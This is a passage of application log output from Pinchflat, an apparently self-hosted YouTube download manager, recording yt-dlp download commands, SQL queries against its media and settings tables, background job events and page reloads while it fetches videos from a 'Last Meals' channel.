/config/metadata/media_items/50/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/52/82/5282ca01ac5bf4f8cca83936b1d499f4a8b6fa2bbb17d36d38f36f1487ec1c84.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:49:39.022 [debug] QUERY OK db=0.0ms idle=963.0ms begin [] 21:49:39.023 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:49:36Z], "/downloads/Last Meals/2025-01-14 Rebecca Black Eats Her Last Meal/Rebecca Black Eats Her Last Meal [LhiJP_dO0cs].mp4", ~U[2026-03-28 01:49:39Z], 50] 21:49:39.024 [debug] QUERY OK source="media_metadata" db=0.6ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/50/metadata.json.gz", "/config/metadata/media_items/50/thumbnail.jpg", 50, ~U[2026-03-28 01:49:39Z], ~U[2026-03-28 01:49:39Z]] 21:49:39.024 [debug] QUERY OK db=0.1ms commit [] 21:49:39.036 [debug] QUERY OK source="media_items" db=1.8ms idle=974.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [407034602, ~U[2026-03-28 01:49:39Z], 50] 21:49:39.036 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:49:39.036 [info] {"args":{"id":50},"id":53,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":146940489,"event":"job:stop","queue_time":3542095353,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:49:39.038 [debug] QUERY OK source="tasks" db=0.8ms queue=0.2ms idle=977.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:39.038 [debug] QUERY OK source="tasks" db=0.9ms idle=533.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:39.039 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 21:49:39.039 [debug] QUERY OK source="media_items" db=0.5ms idle=14.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 21:49:39.044 [info] {"args":{"id":52},"id":55,"meta":{},"system_time":1774662579044475377,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:49:39.045 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [52] 21:49:39.045 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:49:39.047 [debug] QUERY OK source="tasks" db=1.9ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:39.047 [debug] QUERY OK source="sources" db=1.3ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:49:39.047 [debug] QUERY OK source="tasks" db=2.5ms idle=6.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:39.048 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [51, 52] 21:49:39.048 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:49:39.049 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [51, 52] 21:49:39.050 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [52] 21:49:39.051 [debug] QUERY OK source="media_metadata" db=0.1ms idle=3.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [52] 21:49:39.051 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:49:39.052 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:39.052 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:39.052 [debug] Running yt-dlp command for action: get_downloadable_status 21:49:39.053 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:39.053 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:39.054 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:39.054 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=FpEhDtzfcBc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/91/88/91888f69145e91832cff4c0f12ab84322a4efc2167595f6dcf772265f2bce092.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:49:41.499 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=FpEhDtzfcBc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/91/88/91888f69145e91832cff4c0f12ab84322a4efc2167595f6dcf772265f2bce092.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:49:41.499 [debug] Running yt-dlp command for action: download 21:49:41.500 [debug] QUERY OK source="settings" db=0.2ms idle=1440.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:41.500 [debug] QUERY OK source="settings" db=0.1ms idle=1440.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:41.500 [debug] QUERY OK source="settings" db=0.0ms idle=1441.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:41.500 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=FpEhDtzfcBc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ad/43/ad439a0ee8a26655107feac91009bf31179525e81f400256be2b5d8476e592a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:49:58.775 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.626 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:28.777 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:58.779 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.627 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:25.407 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 21:51:25.407 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1347.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:51:25.408 [debug] QUERY OK source="media_items" db=0.5ms idle=1348.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:51:25.409 [debug] QUERY OK source="sources" db=0.1ms idle=1349.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:51:25.409 [debug] Replied in 2ms 21:51:27.593 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 21:51:27.594 [debug] QUERY OK source="media_items" db=0.2ms idle=1534.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:51:27.594 [debug] QUERY OK source="media_items" db=0.3ms idle=894.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:51:27.594 [debug] QUERY OK source="sources" db=0.0ms idle=535.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:51:27.594 [debug] Replied in 1ms 21:51:28.573 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 21:51:28.575 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1514.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:51:28.576 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=981.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:51:28.577 [debug] QUERY OK source="sources" db=0.2ms idle=982.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:51:28.577 [debug] Replied in 3ms 21:51:28.781 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:30.855 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 21:51:30.856 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=796.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:51:30.857 [debug] QUERY OK source="media_items" db=1.0ms idle=797.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE 